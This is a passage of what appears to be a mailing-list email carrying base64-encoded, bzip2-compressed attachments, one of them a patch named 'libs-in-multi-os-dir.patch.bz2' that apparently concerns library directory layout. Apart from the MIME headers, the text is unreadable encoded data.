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 U4UJAR7NpLA= --=-=-= Content-Type: application/x-bzip2 Content-Disposition: attachment; filename=libs-in-multi-os-dir.patch.bz2 Content-Transfer-Encoding: base64 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 